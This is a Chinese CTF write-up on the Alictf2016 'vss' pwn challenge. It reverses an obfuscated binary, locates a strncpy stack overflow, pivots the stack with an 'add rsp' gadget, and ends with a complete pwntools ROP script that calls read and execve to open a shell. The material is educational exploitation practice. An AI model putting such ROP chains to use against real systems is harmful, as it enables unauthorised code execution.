[pwn]ROP:通过ESP和EBP间接控制EIP

[详细]ROP:通过ESP和EBP间接控制EIP

这次试用的是Alictf2016的试题vss,参考 i春秋上的PWN入门4 ,不得不说Sp4ce大佬选的例子都非常好,文章也非常好。我在这里算是详细讲解如何利用ESP和EBP来间接控制EIP。

程序链接:https://pan.baidu.com/s/1vJBuVD9pEGMiCeSsA1iXNQ 提取码:5ily
复制这段内容后打开百度网盘手机App,操作更方便哦

在一些情况下,如复制或输入内容不够长,不足以通过溢出覆盖到栈中的返回值(如下图),但可以覆盖到返回值上面的原EBP值。或是可以覆盖栈中一些关键变量(之后会赋给ESP或EBP的)值的时候,可以通过操作这些变量直接将栈劫持到另一处我们可控或者有gadget的地址中,然后再进行ROP。
在这里插入图片描述

信息搜集

在这里插入图片描述
64位,开启了NX策略,接下来阅读代码,刚一打开,发现代码被模糊混淆了,不可读:
在这里插入图片描述
所有函数名字都变得很奇怪,光从名字不知道哪个是干嘛的,唯一可以得到的线索是start,那么能找到start就可以找到main,进入start:
在这里插入图片描述
start最后调用的函数一定是__libc_start_main,那么他的参数就是main函数,然后进入main函数,继续看:
在这里插入图片描述
根据一些常见特征,可以很明显的分析出sub_408800是puts函数,sub_437EA0是read函数,sub_40108E是自定义的函数,具体功能还需进入函数内部查看:
在这里插入图片描述
有三个参数,第一个是一个字符串,第二个是字符串,第三个是数字,怀疑是strncpy,一会可以验证一下,汇编代码有点看不懂,逆向一下:
在这里插入图片描述
可以看到在进行复制之后进行了一下判断,如果前两个字节位112和121就直接返回,那么就是前两个字符为p和y就直接返回,接下来的有点难看懂,先运行看看:
在这里插入图片描述
有溢出,可以确定是在79个字符处,有点奇怪,想起来头两个字符要是py,再测试一次:
在这里插入图片描述
更懵了,只输一个py都溢出,想起了复制是复制固定长度0x50也就是80个字符,那么会不会这80个字符就会引起溢出,还是ida调试一下就明白了。

寻找溢出位置

先执行到call read之前,注意read读入了0x400个字符呢:
在这里插入图片描述
这是此时的栈顶,没什么问题:
在这里插入图片描述
这里read读入了400个字符,但后来在那个函数中有一个strncpy复制80个字符的操作,所以我们先输入80个,为了明显我输入了70个’a’和10个’1’,然后执行call read:
在这里插入图片描述
在这里插入图片描述
可以看到,已经输入进来了,然后执行进入那个函数,执行到strncpy之前:
在这里插入图片描述
记住这几个操作,看一下栈的状态:
在这里插入图片描述
然后哦执行call strncpy:
在这里插入图片描述
如何溢出的一目了然。

之所以造成这样就是因为,接收复制的变量距栈底有0x40,却复制了0x50个也就是16字符,正好覆盖到了返回地址。

利用思路

根据刚才找到的溢出点,我们可以确认的是,我们的第73~80个字符会正好覆盖返回地址,但为了能让它直接返回,我们必须开头两个字符时py,要么不会直接返回,会被乱七八糟的操作修改我们的输入:
在这里插入图片描述
那么问题又来了,整个程序被混淆了,我们不知道哪个函数是啥,整个程序也没找到什么外部段,说明也没引入libc,还开启了NX策略,无法直接在栈中写代码,还只能覆盖一个地址,因为只复制了0x50个字符,最后8个覆盖了返回地址,然后没了,不能继续写了,那么如何构建ROP?

值得注意的是,紧接着返回地址的是main函数的栈,而最开始就是输入的内容,但输入的内容最开始必须以’py’为起始,这也就造成了我们不能再开始就写一个地址然后连续返回的ROP链,形如下图,而且由于复制使用的是strncpy,在前80个字符之中不能出现0x00,所以只能将地址写在最后一位(最后一位地址中的0x00在最后不影响,但main中使用的read函数可以读0x00):
在这里插入图片描述
所以我们采取的办法是,使用一段能改变栈顶rsp的代码,然后立刻返回的代码,形如:

sub rsp xxx
retn

sub的值应该大于0x50(跳过前80个不能写地址的区域),距离0x400还有一定距离(read读取0x400个字符),思路如下图:
在这里插入图片描述
首先要找到符合条件的代码段,搜索发现有很多:add rsp的,找到一个大于0x50并且紧接着retn的,如我找到的这个:0x46F2F1
在这里插入图片描述
在这里插入图片描述
类似的还有很多,然后要考虑如何getshell,接下来就不是那么困难了,由于没有引入libc,但可以找到程序中有很多syscall,我们可以通过syscall来调用我们需要的函数,这里有syscall调用表 。我们用传统的方法,先调用read(syscall调用表0号)读入’/bin/sh’然后再调用sys_execve(syscall调用表59号)。

由于read和sys_execve都是三个参数,所以我们要找到下面几种gadget能操作rdi,rsi,rdx三个寄存器:

1:
pop rdx
pop rsi
retn
2:
pop rdi
rtn

第一个很好找:0x43AE29
在这里插入图片描述
在这里插入图片描述
第二个无法直接找到,但别忘了,pop rdi是pop r15的一部分(上一篇博客有说),所以这就很好找了,pop r15;retn有一大堆,随便找一个就行,别忘了地址加一:0x405114
在这里插入图片描述
接下来再找一个存放’/bin/sh’的地方,我看这里就不错(选一个可写可读并且没有数据的地方,但有时候还会出问题,多找几遍就好了):0x6C5C50
在这里插入图片描述
在这里插入图片描述
为了系统调用,还要找到合适的syscall,有syscall是根据eax的值来调用的,所以最好找到操作eax和syscall在一起的gadget或者是操作eax然后返回的,也就是形如以下两种:

1:
mov/pop eax
syscall
retn
2:
mov/pop eax
retn

关于调用read的,直接找到了一个,这里syscall距离retn之间有段代码,并不影响,条件语句,反正也不会执行:0x437ea9
在这里插入图片描述
在这里插入图片描述
没有找到直接调用sys_execve的,那就找pop eax吧,然后找到了一个:
在这里插入图片描述
在这里插入图片描述
那现在完事具备,完成ROP链即可,完整代码如下,ROP链构造可见注释:

#!/usr/bin/python
#coding:utf-8

from pwn import *

elf1 = ELF('./vss')
elf=process('./vss')

payload='py'              #以'py'开头
payload+='A'*70           #padding
payload+=p64(0x46F2F1)    #add rsp,78h;retn
payload+='A'*40           #padding,因为下移了0x78,补全至0x78
payload+=p64(0x43AE29)    #pop rdx;pop rsi;retn
payload+=p64(0x8)         #rdx=8,read第三个参数,读入数据的长度
payload+=p64(0x6C5C50)    #rsi=0x6c7079,read第二个参数,binsh读入地址
payload+=p64(0x405114)    #pop rdi;retn
payload+=p64(0x0)         #rdi=0,read第一个参数
payload+=p64(0x437ea9)    #mov eax,0;syscall


payload+=p64(0x43AE29)    #pop rdx;pop rsi;retn
payload+=p64(0x0)         #rdx=0,sys_execve第三个参数,0
payload+=p64(0x0)         #rsi=0,sys_execve第二个参数,0
payload+=p64(0x405114)    #pop rdi;retn
payload+=p64(0x6C5C50)    #'/bin/sh'地址,sys_execve第三个参数
payload+=p64(0x46F62A)    #pop rax;retn,准备用syscall调用sys_execve,调用编号59
payload+=p64(59)          #eax=59
payload+=p64(0x40174B)    #syscall

elf.recv()
elf.sendline(payload)


elf.send('/bin/sh\x00')
elf.interactive()

执行,成功getshell:在这里插入图片描述

发布了56 篇原创文章 · 获赞 288 · 访问量 18万+

猜你喜欢

转载自blog.csdn.net/Breeze_CAT/article/details/95272143
今日推荐